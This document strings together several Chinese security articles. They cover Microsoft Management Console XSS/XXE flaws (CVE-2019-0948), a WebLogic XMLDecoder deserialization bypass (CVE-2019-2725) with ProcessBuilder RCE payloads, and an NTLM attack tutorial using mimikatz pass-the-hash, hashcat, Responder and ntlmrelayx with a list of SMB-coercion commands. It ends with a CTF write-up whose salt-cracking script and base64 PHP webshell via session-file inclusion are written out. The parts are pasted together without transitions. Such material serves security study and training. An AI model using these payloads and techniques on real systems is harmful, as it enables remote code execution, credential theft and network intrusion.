近期，Check Point
Research研究人员在控制台中发现了多个允许攻击者传输恶意payload的漏洞。漏洞CVE编号为CVE-2019-0948，微软已于6月11日发布的补丁中进行了修复。
# 漏洞描述
### 错误配置的WebView导致的多个XSS漏洞
MMC有一个集成的Snap-In组件中含有ActiveX控制、Link to Web Address等多种机制。
1. 攻击者选择Link to Web Address snap-in后，就科研插入一个url到该服务器中，服务器中含有一个含有恶意payload的html页。
受害者打开恶意.msc文件后，就会打开一个web-view，恶意payload就会执行。
研究人员成功地插入了含有恶意payload的恶意URL链接，该恶意payload可以重定向到SMB服务器可以获取用户的NTLM哈希值。
还可以通过前面提到的web-view来在受害者主机上执行VBS脚本。
2. 攻击者选择ActiveX Control snap-in（所有ActiveX controls都受到该漏洞影响）并保存到文件.msc中。在文件.msc的StringsTables部分，攻击者可以修改第三个字符串的值为攻击者控制的恶意URL，其中含有一个含有恶意payload的html页面。研究人员成功地插入含有恶意payload的恶意URL，恶意payload可以重定向到SMB服务器，并获取用户NTLM哈希值。
还可能通过前面提到的web-view在受害者机器上执行VBS脚本。
受害者打开恶意.msc文件后，就会在MMC窗口中打开一个web-view并执行恶意payload。
### 错误配置的XML parser产生的XXE漏洞
受害者打开MMC并选择event viewer snap-in，点击Action，然后点击Import Custom View。一旦含有XXE
payload的恶意XML被选择，任何从受害者主机处发送的文件都会发给攻击者。这是由于MMC定制视图功能中定义的错误配置的XML parser造成的。
# PoC
### Link to Web Address snap-in Cross-Site Scripting (XSS):
攻击者加入新的snap-in:
受害者选择Link to Web Address snap in:
然后攻击者在path处输入含有恶意payload的服务器地址：
攻击者保存`.msc`文件并发送给受害者：
恶意`.msc`文件含有到攻击者服务器的路径：
受害者打开恶意`.msc`文件，vbs代码就会执行：
### ActiveX Control snap-ins
以Adobe Acrobat DC Browser example为例:
攻击者添加新的 snap-in:
攻击者选择ActiveX Control snap-in:
选择ActiveX Control机制，以Adobe Acrobat DC Browser为例：
攻击者保存`.msc`文件并发送给受害者：
含有到攻击者服务器的路径的`.msc`文件：
受害者打开恶意`.msc`文件后，VBS代码就会执行：
### 错误配置的XML Parser导致的XXE漏洞：
添加新的snap-in:
攻击者选择event viewer snap-in:
受害者选择Action，然后点击Import Custom View选项：
受害者选择攻击者发送的恶意XML:
含有XXE payload的恶意XML会读取`c:\windows\win.ini`文件内容，并通过`HTTP/GET`请求发送给远程服务器：
反过来调用`xml.dtd`:
期望的文件内容会从客户端console应用发送到远程服务器：
<https://research.checkpoint.com/microsoft-management-console-mmc-vulnerabilities/> | 社区文章 |
## 0x01. 漏洞简介
此次漏洞不算什么新的点，核心利用点依旧是weblogic的xmldecoder反序列化漏洞，只是通过构造巧妙的利用链可以对Oracle官方历年来针对这个漏洞点的补丁绕过。Oracle针对这个漏洞点一直采用黑名单限制的方式，这种不太可靠修复方式被绕过当然也在情理之中。
## 0x02. 漏洞细节分析
漏洞点既然跟以往一样，那么可以很快定位到关键位置。我这里简单讲讲整个调用过程，首先定位到weblogic核心类针对soap消息的处理点：
经过soap消息消息解析和路由分发之后，soap
header部分的wordcontext元素中的内容被当做属性传入WorkContextXmlInputAdapter适配器中，到这里离漏洞触发点已经不远了：
跟进WorkContextXmlInputAdapter这个类，可以看到其传入Inputstream类型参数的构造方法中实例化了一个XMLDecoder对象，并将得到的对象赋值给xmlDecoder属性，也就是说可以得到一个属性可控的XMLDecoder对象：
WorkContextXmlInputAdapter实例化完成后，继续跟进receiveRequest方法，到了weblogic.workarea包中的WorkContextLocalMap类中：
跟进readEntry()方法，传入的var1参数就是刚刚WorkContextXmlInputAdapter对象:
继续跟进readUTF()方法，就回到WorkContextXmlInputAdapter类中：
可以看到刚刚已经实例化的xmlDecoder对象调用了readObject()方法，且该对象的属性是我们可控的，也就是说反序列化的输入可控，也就造成了反序列化漏洞。至此漏洞点已经清晰了，可以开始考虑payload的构造，如果想看更详细的调试分析步骤的小伙伴，可以转到我们[实验室的分析文章](https://www.anquanke.com/post/id/177381)
## 0x03. Payload的构造
Xmldecoder反序列化漏洞的利用早在13年就已经公开了，具体可以参考[这个项目](https://github.com/o2platform/DefCon_RESTing)。利用xmldecoder
指定的xml的节点标签(详情可以参看[javabeans.dtd或者官方文档](https://www.oracle.com/technetwork/java/persistence3-139471.html))，我们精心构造出特定的xml文件，就可以实现任意类的任意方法的反序列化调用，当然RCE也在其中。比如我们可以直接利用Object元素构造一个ProcessBuilder对象，并调用其start方法，这也就是xmldecoder发序列化漏洞最初利用的payload，同样也是weblogic
xmldecoder反序列化系列的第一个漏洞CVE-2017-3506的payload：
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc.exe</string>
</void>
</array>
<void method="start"/>
</object>
</java>
针对CVE-2017-3506，oracle及时更新了补丁，但是只是采用黑名单的形式，在WorkContextXmlInputAdapter类中增加了validate方法针对输入做了验证，禁止了Object标签的使用。当然该补丁很快就被绕过，也就是有了后来的CVE-2017-10271，此次的payload并没有采用object来指定反序列化的类，而是直接利用void元素的class属性代替：
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
除此之外，网上还出现了一些变形的payload，大家发现可以直接利用new和method元素完成payload的构造，连void元素都不用了，所以payload还可以这样写：
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string>
<method name="start" />
</new>
</java>
针对CVE-2017-10271，oracle再一次发布了补丁，这一次oracle收集了市面上所有的可以利用payload，做了一个大的payload黑名单集合，于是就是有了如下针对CVE-2017-10271的补丁：
可以看到，补丁可以分为三个部分，我们一部分一部分看，首先构造的payload中不能存在名字为object、new、method的元素节点，其次限制了void元素只能使用index属性或者空属性，以上两点就限制了我们目前能想到所有指定反序列化类名的poc，没了method元素，也没了带method属性的void元素，我们就不能指定任意的对象方法，最后array元素的class属性还只能是byte，进一步限定了对传入反序列化类的对象属性值。
这样看来此次补丁应该还是不错的，但黑名单始终是黑名单，参看xmldecoder的官方文档很容易发现class元素节点同样可以指定任意的反序列化类名的：
如此以来就绕过了以上补丁的第一个限制，也就是说我们又可以指定任意类了，但是要完成最终利用还需要解决对象方法和属性的传入，于是就有了CVE-2019-2725，也就是本文的重点，接着我们就来详细看看这个漏洞利用payload的构造。
首先可以利用class元素指定任意序列化类，但在上一个补丁的限制下我们没有办法指定该类的任意方法，但是没关系，很容易联想到在序列化对象实例化时会自动调用其构造方法，那么万一哪个类的构造方法存在可利用点呢？
解决了类名和方法的限制，顺着这个思路继续往下，对传入该类构造方法的参数还得满足补丁的限制。回顾一下补丁，在传递参数时我们只能使用空属性或者只带index属性的void元素节点，其次在传入使用数组参数时，array元素的class属性只能为空或者byte。
说了那么多，其实很简单，我们只需要寻找一个类构造方法存在利用点，且其构造方法的参数类型恰好是字节数组或者是java中的基础数据类型，比如string，int这些，这样就可以满足array元素和void元素的限制条件。理清楚payload的构造原理，我们再来看此次的利用payload中的关键类：
`oracle.toplink.internal.sessions.UnitOfWorkChangeSet`
直接看关键代码部分，其参数为字节数组的构造方法：
代码很简单，对传入的参数直接反序列化了，那么结合该类二次反序列可以打造一条反序列化利用链，weblogic存在一个自带jre环境的版本，且自带的jdk版本为1.6+，可以利用jdk7u21
gadget达到RCE。不想依赖jdk版本的话，部分版本的commoncollection
同样可以作为gadget利用，其次利用rmi等反序列化常用gadget也都可以自由组合利用。
完整的payload构造也很简单，直接利用ysoserial生成序列化对象转成字节数组类型后拼接到xml中就好了。
以上都针对UnitOfWorkChangeSet这个类的利用链，那么还有可以其他利用的吗？答案是肯定的，在分析漏洞的过程中，我发现weblogic中jar包存在spring的组件：
其中的FileSystemXmlApplicationContext和ClassPathXmlApplicationContext类可以用于加载spring的配置文件，利用spring的依赖注入同样可以完成RCE的利用。这个方法在去年jackson的反序列化漏洞利用中被提到过，具体payload的构造的话要注意spring组件的版本，低版本可能会不支持spel表达式，不过利用构造器注入同样可以RCE。这里就不放出具体的利用了，感兴趣的小伙伴可以自己去尝试下。
## 0x04. 总结
修复建议的话可以参考我们实验室给出的，比较详细。最后我们来看看官方最新的补丁包，可以看到再一次扩充和完善了黑名单，直接ban掉了class元素以及限制了array元素的长度：
攻防对抗再次升级，那么是否会再一次被绕过呢？我想可能会吧，比如array元素的长度限制真的毫无意义，因为XMLDecoder官方文档有这样一段话：
## 0x05. 参考链接
<https://www.anquanke.com/post/id/177381>
<https://github.com/o2platform/DefCon_RESTing>
<https://www.oracle.com/technetwork/java/persistence3-139471.html> | 社区文章 |
# 内网渗透——针对hash的攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
本文从hash获取方式，爆破hash，hash中转，中继等方面全面分析，以直观详细的实践来了解攻击过程，过程比较详细，请耐心观看。
## 0x02 什么是NTLM-hash、net NTLM-hash
NTLM
hash是windows登录密码的一种hash，可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash（比如用Mimikatz提取），获取该hash之后，可进行爆破明文、哈希传递（PtH攻击），
Net-NTLM的hash是基于NTLM的hash值经过一定的算法产生的，获取Net-NTLM的hash之后，可进行爆破明文、利用smb进行中继攻击，该hash不能进行哈希传递攻击。
什么是NTLM hash？
NTLM hash的生成方法：
1、将明文口令转换成十六进制的格式
2、把十六进制转换成Unicode格式，每个字节之后添加0x00
3、再对Unicode字符串作MD4加密，生成32位的十六进制数字串
这里我通过mimikatz工具先直观的了解NTLM hash，mimikatz直接从 lsass.exe
里获取windows处于active状态账号明文密码，以windows server2012为例：
从上图发现：
NTLM hash：A1E33A2281B8C6DBC2373BFF87E8CB6E
明文密码：123456Abc
## 0x03 对NTLM hash暴力破解
如果通过其它途径获得此hash，即A1E33A2281B8C6DBC2373BFF87E8CB6E，可用hashcat进行字典暴力破解，Hashcat参数如下：
hashcat64.exe -m 1000 A1E33A2281B8C6DBC2373BFF87E8CB6E example.dict -o out.txt
—force
`参数说明：`
`-m 选择哈希类别，1000为NTLM`
`-o 输出破解成功的明文`
`example.dict 明文字典`
打开out.txt，发现明文123456Abc
注意：
由于windows server2012 r2、windwos
8.1以及更高版本都做了加固，即禁止明文缓存到内存，而mimikatz是基于内存获取明文密码，则无法直接通过mimikatz获取明文密码，直接提取结果为“null”，但可通过修改注册表来获取。
参考
受保护用户 ( Protected Users )
<http://www.bubuko.com/infodetail-2077149.html>
## 0x04 NTLM哈希传递
哈希传递通俗来讲，就是不需要明文登录，用NTLM hash可直接进行登录。
在我们使用某服务时，Windows会带上自身的认证信息进行尝试登录，这个认证信息其实就是Net-NTLM的Hash，我们使用哪些服务会让Windows带上自身认证信息登录？如访问smb共享文件夹等，此时会使用认证信息尝试登录，并且调用lsass内存中的hash缓存尝试登录，此时使用mimikatz等工具修改缓存的hash为获取得到的hash，从而使用修改的hash进行登录，这是哈希传递的原理。文章后面讲到的获取Net-NTLM的hash，其实就是利用带认证信息访问smb，如让管理员访问此wdb：`<img
src="\192.168.191.129xx">`，192.168.191.129被攻击者控制的一台内网PC，可获取管理员的Net-NTLM hash。
先讲下认证请求过程：
`1、客户端先对在本地对密码加密成为密码散列`
`2、客户端发送认证请求，即发生明文账号`
`3、服务器返回一个16位的随机数字发送给客户端，作为一个 challenge`
`4、客户端再用步骤1的密码散列来加密这个 challenge ，作为 response返回给服务器。`
`5、服务器把用户名、给客户端的challenge 、客户端返回的 response ，发送域控制器`
`6、域控制器使用此用户名在SAM密码管理库的密码散列，加密给客户端的challenge`
`7、与步骤4客户端加密的challenge比较，如果两个challenge一致，认证成功`
哈希传递漏洞发生在步骤4中，直接使用修改缓存后的hash，进行challenge加密，对challenge
加密的hash已经不是发送账号对应的hash，而是攻击者通过其他途径获取的hash进行challenge加密。
**Pth攻击演示：**
靶机ip：
攻击机ip：
假设已经获得NTLM hash：
管理员身份运行mimikatz：
mimikatz执行命令参数：
sekurlsa::pth /user:Ancert /domain:WIN-0HE0PTAL9L4
/ntlm:A1E33A2281B8C6DBC2373BFF87E8CB6E
此时再进行其它认证操作，可直接用获取的目标hash进行登录认证。
## 0x05 Net-NTLM hash获取
Net-NTLM
hash不能直接获取，通过Responder工具进行拦截获取，此hash不能进行哈希传递，但可进行中继转发，利用Responder等中间人工具，结合其它工具可自动化进行拦截获取并中继转发，其它工具如
Impacket的ntlmrelayx.py进行中继转发。
在攻击机上运行Responder，此时攻击机模拟为SMB服务让受害者进行认证登录，通过设置几个模拟的恶意守护进程（如SQL服务器，FTP，HTTP和SMB服务器等）来直接提示凭据或模拟质询
– 响应验证过程并捕获客户端发送的必要 hash，当受害者机器尝试登陆攻击者机器，responder就可以获取受害者机器用户的NTLMv2哈希值。。
Responder下载安装：
<https://github.com/lgandx/Responder>
**Responder操作演示**
客户端IP：
攻击机IP：
1、
无需编辑Responder.conf，因为此时SMB、HTTP服务不要关闭，等中继攻击时才关闭这两个服务。因此这里先演示Responder怎么获取net-NTLM hash，在中继攻击里关闭SMB、HTTP，是因为此时不再由Responder获取hash，而是直接让ntlmrelayx.py来完成这一任务。
2、 攻击机执行 python Responder.py -I eth0，此时处于监听状态
3、
利用SMB协议，客户端在连接服务端时，默认先使用本机的用户名和密码hash尝试登录，所以可以模拟SMB服务器从而截获hash，执行如下命令都可以得到hash。
客户端执行如下命令，攻击机的Responder能收到。
> net.exe use \hostshare
> attrib.exe \hostshare
> bcdboot.exe \hostshare
> bdeunlock.exe \hostshare
> cacls.exe \hostshare
> certreq.exe \hostshare #(noisy, pops an error dialog)
> certutil.exe \hostshare
> cipher.exe \hostshare
> ClipUp.exe -l \hostshare
> cmdl32.exe \hostshare
> cmstp.exe /s \hostshare
> colorcpl.exe \hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 \hostshare \hostshare
> compact.exe \hostshare
> control.exe \hostshare
> convertvhd.exe -source \hostshare -destination \hostshare
> Defrag.exe \hostshare
> diskperf.exe \hostshare
> dispdiag.exe -out \hostshare
> doskey.exe /MACROFILE=\hostshare
> esentutl.exe /k \hostshare
> expand.exe \hostshare
> extrac32.exe \hostshare
> FileHistory.exe \hostshare #(noisy, pops a gui)
> findstr.exe * \hostshare
> fontview.exe \hostshare #(noisy, pops an error dialog)
> fvenotify.exe \hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe \hostshare #(noisy, pops GUI)
> hwrcomp.exe -check \hostshare
> hwrreg.exe \hostshare
> icacls.exe \hostshare
> licensingdiag.exe -cab \hostshare
> lodctr.exe \hostshare
> lpksetup.exe /p \hostshare /s
> makecab.exe \hostshare
> msiexec.exe /update \hostshare /quiet
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe \hostshare #(noisy, invalid path to png error)
> msra.exe /openfile \hostshare #(noisy, error)
> mstsc.exe \hostshare #(noisy, error)
> netcfg.exe -l \hostshare -c p -i foo
客户端执行 net use 192.168.191.131aaa
4、 攻击机成功收到NTLMv2-SSP Hash
`Ancert::WIN-0HEOPTAL9L4:75c3bef66ef94f92:2424A1EA007E01413DD6653404BB7819:0101000000000000C0653150DE09D2018D964804B8A33ECB000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000007AC21B7085961E257ABD8B489929693CDD3E37B624EC1AA3C62AE0F11516CBF80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100390031002E00310033003100000000000000000000000000`
爆破net-NTLM hash
继续用hashcat进行hash爆破，Hashcat参数如下：
`hashcat64.exe -m 5600
Ancert::WIN-0HEOPTAL9L4:75c3bef66ef94f92:2424A1EA007E01413DD6653404BB7819:0101000000000000C0653150DE09D2018D964804B8A33ECB000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000007AC21B7085961E257ABD8B489929693CDD3E37B624EC1AA3C62AE0F11516CBF80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100390031002E00310033003100000000000000000000000000
example.dict -o out.txt --force`
参数说明：
-m 选择哈希类别，5600为net-NTLM
成功破解出明文密码，如下图：
打开out.txt，发现破解出明文123456Abc
## 0x06 SMB中继攻击
前面文章说过了，当获取到net-NTLM
hash之后，由于不能通过类似哈希传递的修改缓存hash进行认证，此hash无法进行哈希传递，怎么进行攻击呢？可通过Responder工具拦截管理员的net-NTLM hash，配合ntlmrelayx.py进行中继转发。
Impacket下载：
`git clone https://github.com/CoreSecurity/impacket.git`
进行中继前提：目标SMB签名需要关闭，在SMB连接中，需要使用安全机制来保护服务器和客户端之间传输数据的完整性，而这种安全机制就是SMB签名和加密，如果关闭SMB签名，会允许攻击者拦截认证过程，并且将获得hash在其他机器上进行重放,，从而获得域管权限。
目前SMB常用来做为SMB文件共享、打印机，如果签名关闭，可能导致文件共享、打印机被入侵。
比如我用虚拟机搭建的SMB文件共享如下，具体认证登录过程文章前面部分已讲过，看看这个效果：
虚拟机IP：192.168.191.139
先探测目标是否已关闭SMB签名，命令如下：
`nmap --script smb-security-mode.nse -p445 192.168.191.139 --open`
如下是我用虚拟机搭建的域控环境测试，中继转发操作：
域内普通用户-受害者机器（win7）
域管理员(administrator)机器（windows server 2012 r2）
kali linux 攻击者机器
1、Responder关闭SMB、HTTP
2、执行python Responder.py -I eth0 -r -d –w
3、执行`python ntlmrelayx.py -tf targets.txt -socks -smb2support`
说明 ：
targets.txt内容为域内受害IP 192.168.191.139
python ntlmrelayx.py -t 192.168.191.139 -socks -smb2support //
4、域管模拟输入一个共享，生成一个LLMNR请求
5、通过Responder发送
6、NTLMv2哈希凭据被中继
攻击流程总结：
1、关闭Responder的SMB和HTTP服务, 运行Responder工具来截取Net-NTLM哈希值
2、运行ntlmrelayx.py脚本，将Net-NTLM哈希值发送到ntlmrelayx.py脚本的SMB和HTTP服务
3、ntlmrelayx.py将hash发送到目标列表中，如果中继操作执行成功会触发通知命令。
这里先大概熟悉下中继转发的原理基础，在下一篇会结合DeathStar和Empire，演示自动化域渗透，以及对net NTLM-hash的利用。 | 社区文章 |
本题考察PHP源码审计。主要有两个缺陷：使用ECB模式进行AES加密导致的CPA（选择明文攻击）和
文件包含。有两处可以向文件写入内容以供包含，但均被过滤，最终通过以未被过滤的Cookie为跳板连接两处文件包含来写入Shell。文末还介绍了一种深入利用一处文件包含getshell的解法。
# 概览
打开 <http://178.128.87.16> 是一个登陆页面，注册账户后有四个页面，`HOME` 是欢迎页，`CHARACTER`
页可以和宠物角色互动，但账户刚注册完是没有宠物的，需要获取ADMIN权限后自行添加， `SETTING` 页可以修改用户名和选择头像，`GAME`
页是一个Flash小游戏，和本题无关。
题目提供了源码下载，可以从
[这里](https://ctf.meepwn.team/attachments/web/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip)
或
[备用地址](https://github.com/findneo/ctfgodown/blob/master/20180718-Meepwn%20CTF%20Quals%202018/WEB/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip)
下载。
# 文件包含
## index.php
`index.php` 文件中有如下语句，显然存在文件包含。
if(isset($_GET['page']) && !empty($_GET['page']))
{
include($_GET['page']);
}
但所有 `GET` 和`POST` 提交的参数都会被删除掉敏感字符串，其中 `//` 、`(.+)` 和```` 是比较值得注意的。
function bad_words($value)
{
//My A.I TsuGo show me that when player using these words below they feel angry, so i decide to censor them.
//Maybe some word is false positive but pls accept it, for a no-cancer gaming environment!
$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
$value = preg_replace($too_bad, str_repeat("*",3) ,$value);
return $value;
}
foreach($_GET as $key=>$value)
{
if (is_array($value)){mapl_die();}
$value=bad_words($value);
$_GET[$key]=$value;
}
foreach($_POST as $key2=>$value2)
{
if (is_array($value2)){mapl_die();}
$value2=bad_words($value2);
$_POST[$key2]=$value2;
}
PHP使用PHPSESSID cookie值 存储会话标识，一般在`/var/lib/php/sessions/sess_<PHPSESSID>`
文件里写有一些有特定意义的字符串，其中`<PHPSESSID>` 可在Cookie里找到。尝试读取SESSION文件：
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_8es749ivbfetvsmsc0ggthr2e5
其中是序列化后的`$_SESSION` 和明文的操作记录，这些内容在后面会大有用处。
# CPA猜解salt
## login.php
阅读`login.php` 并跟入相关文件，可以看到有多处用到`$salt` 变量，其地位非常关键。
首先是从单独的表`mapl_config` 中读出值。
$configRow=config_connect($conn);
$salt=$configRow['mapl_salt'];
$key=$configRow['mapl_key'];
/*
function config_connect($conn)
{
$config=mysqli_query($conn,"SELECT * FROM mapl_config");
return mysqli_fetch_array($config);
}
*/
如果登陆成功就将用户名和邮箱加盐加密存储的`$_SESSION` 变量里。并且将`admin` /`user`
字符串加盐加密存储在`$_COOKIE['_role']` 变量中，用以标识用户身份。
if( $count === 1 && $row['userPass']===$password ) //登陆成功
{
$secure_email=encryptData($row['userEmail'],$salt,$key);
$secure_name=encryptData($row['userName'],$salt,$key);
$log_content='['.date("h:i:sa").' GMT+7] Logged In';
$_SESSION['character_name'] = $secure_name;
$_SESSION['user'] = $secure_email;
$_SESSION['action']=$log_content;
if ($row['userIsAdmin']==='1')
{
$data='admin'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
else
{
$data='user'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
header("Location: ?page=home.php");
}
/*
function encryptData($data,$salt,$key)
{
$encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
$raw=base64_decode($encrypt);
$final=implode(unpack("H*", $raw));
return $final;
}
*/
## setting.php
再查看`setting.php` ，这个文件实现了修改用户名页面的功能
。只要修改后的名字不长于22个字符，就使用`mysqli_real_escape_string` 处理并更新记录（避免SQL注入）。会被编码的字符有的
NUL（ASCII 0）、\n、\r、\、'、" 和 Control-Z。
if(strlen($_POST['name'])<=22){
$name=mysqli_real_escape_string($conn,$_POST['name']);
$query="UPDATE users SET userName='$name' WHERE userEmail='$mail'";
$res2=mysqli_query($conn,$query);
$userRow2=mysqli_fetch_array($res2);
$secure_name=encryptData($name,$salt,$key);
$_SESSION['character_name'] = $secure_name;
$log_content='['.date("h:i:sa").' GMT+7] Change character name';
$_SESSION['action']=$log_content;
header("Refresh:0");
}
所有加密操作用的是同一个`$salt`
，加上上述包含Session文件的操作，就会有构造任意明文获取对应密文的可能。最重要的，加密方式采用了`AES-128-ECB` ，`ECB`
全称`Electronic Codebook` （电码本），顾名思义，这种模式的特点就是相同的明文块加密后会得到相同的密文块。
这里采用128位的分组形式，也就是每十六字节一个明文块。举栗说明：
如果用户名是`findneo` 七个字节，`$salt` 是`xianzhi` 八个字节，那么加密过程就是把`findneoxianzhi`
共十五个字节作为一个分组去加密，缺一个字节按算法padding。
如果用户名是`hifindneo` 共九个字节，那么加密过程就是对`hifindne` 和`oxianzhi` 作为两个分组加密。
我们可以在`SETTING` 页面修改用户名来改变明文，然后使用文件包含读到Session文件内容来获取密文，这就是一个完整的选择明文攻击过程。
## 利用
怎么攻击呢？比如用户名是`findneo` ，（我们还不知道`$salt` 是`xianzhi` ） ，那么加密的第一个明文分组是`findneox`
，记录下`$_SESSION['character_name']` 的前32个字节十六进制数，也就是密文的第一个分组。
然后依次改变用户名为`findneoa` 、`findneob` 、.etc，并记录密文第一个分组。直到用户名为`findneox`
时发现密文第一个分组与用户名为`findneo` 时的相同。根据ECB模式的特点，就能知道`$salt` 的第一个字节为`x` ，事实上也确实如此。
测试发现用户名长15个字符时，`$_SESSION['character_name']`
有64字节十六进制数，也就是加盐加密后是32个字符，用户名长为16个字符时，`$_SESSION['character_name']`
有96字节，也就加盐加密后有48个字符。这说明`$salt` 长为16个字节。
然后就可以按照以上原理猜解`$salt` ，伪造`$_COOKIE['_role']` ，成为管理员。
# -*- coding: utf-8 -*- # by https://findneo.github.io/
import requests
from bs4 import BeautifulSoup
import string
import hashlib
url = "http://178.128.87.16/"
cookie = dict(
PHPSESSID='t9p07a1qt2plbcqp8tpkib4794',
# _role='8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe'
)
def read_sess():
r = requests.get(
url + "?page=/var/lib/php/sessions/sess_" + cookie['PHPSESSID'],
cookies=cookie)
return r.content
def get_sess_character_name():
"""read_sess():
character_name|s:64:"6269cb047bbbd0802cd7b882700591c6f6ace10234be4243997282e7c467e820";
user|s:64:"82f0cac5c0591592eaccfdac48f3e3656c264c7a73f97aeea603461254e3ac38";
action|s:40:"[12:04:21pm GMT+7] Change character name";
"""
character_name = read_sess().split(';')[0].split(":")[-1][1:-1]
return character_name
def change_name(character_name):
payload = dict(name=character_name, submit='Edit')
r = requests.post(url + "?page=setting.php", cookies=cookie, data=payload)
def whoami():
r = requests.get(url + "?page=home.php", cookies=cookie)
s = BeautifulSoup(r.content, 'lxml')
print s.h2.get_text().split('\n')[0]
def change_and_check(name):
change_name(name)
# whoami()
return get_sess_character_name()
def crack_salt():
junk = 'x' * 16
salt = ''
s = 'ms_g00d_0ld_g4m3' + string.printable
for i in range(15, -1, -1):
cmp = change_and_check(junk[:i])[:32]
if i == 0:
# 如果i==0，无法修改用户名，实际上salt对应的就是第二个密文块，直接取即可
cmp = change_and_check(junk)[32:64]
for j in s:
if cmp == change_and_check(junk[:i] + salt + j)[:32]:
salt += j
print salt
break
return salt
salt = crack_salt()
爆破得到`$salt` 为`ms_g00d_0ld_g4m3` ，然后计算出`admin`
用户的Cookie为`hashlib.sha256('admin' + salt).hexdigest()`
也就是`_role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054'`。
可使用Fiddler的Filters功能设置请求头为`PHPSESSID=8es749ivbfetvsmsc0ggthr2e5;
_role=8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe`
，权限上升为ADMIN。
# 以Cookie为跳板的Session文件包含
## admin.php
注意到Session文件中有部分明文信息，记录关于上一次的操作。每一次操作都会记录，但只有`admin.php` 中写入的内容存在可控变量：
if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
{
$dir='./upload/'.md5($salt.$_POST['email']).'/';
give_pet($dir,$_POST['pet']);
if(check_available_pet($_POST['pet']))
{
$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
$_SESSION['action']=$log_content;
}
}
其中的`search_name_by_mail($conn,$_POST['email'])` 正是用户名，而这是可修改的。所以只要在`CHARACTER`
页面执行一次送宠物给某个用户的操作，Session文件中就会出现该用户的用户名。而如果用户名是PHP代码，就会被执行。
用户名修改有哪些限制？
首先是`文件包含` 小节提到的所有`GET` ，`POST` 参数都必须经过的黑名单过滤。
function bad_words($value){ $too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
$value = preg_replace($too_bad, str_repeat("*",3) ,$value);
return $value;
}
# |\/\/|\(.+\)|`.+`| 比较重要，意味着伪协议、函数、shell都不能直接使用。
然后是`setting.php` （代码见`CPA猜解salt` 小节）中要求的不大于22个字符。
## character.php
所有功能中唯一一个直接写文件的操作在和`CHARACTER` 页面，同样需经过黑名单过滤，并且要求小于20个字符。
if(isset($_POST['command']) && !empty($_POST['command']))
{
if(strlen($_POST['command'])>=20)
{
echo '<center><strong>Too Long</strong></center>';
}
else
{
save_command($mail,$salt,$_POST['command']);
header("Refresh:0");
}
}
/*
function save_command($email,$salt,$data){
$dir='./upload/'.md5($salt.$email);
file_put_contents($dir.'/command.txt', $data);
}
*/
## 利用
### 思路
全局共有两处可以修改文件，可以修改用户名以修改Session文件，也可在`CHARACTER` 页面修改`command.txt` ，但两处都是由`GET`
或`POST` 传的参，参数被黑名单过滤导致无法直接发挥作用。
考虑到COOKIE没有被过滤，可以用作跳板，在Session文件中包含Cookie，在`command.txt`
写入编码后的无害字符串，在Cookie写入利用伪协议读取 `command.txt` 并解码的语句，就成功向Session文件写入了一句话。
其实从哪个文件经由哪个变量跳到哪个文件是有多种可能的，但本题受限于长度这很可能是唯一的解法。
### 步骤
* 在SETTING处修改用户名为`<?=include"$_COOKIE[a]`
* 在Fiddler的Filters处的Cookie后面添加上一条`a=php://filter/convert.base64-decode/resource=upload/ac8d37347a056bad2a852e4ef40de28a/command.txt`
* 在character处给宠物发一条命令 `PD89YCRfR0VUW2ZdYDs` 从而写入`command.txt`
# PD89YCRfR0VUW2ZdYDs 可解码为 <?=`$_GET[f]`;
* 在admin处给自己送一只宠物
使执行语句
$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
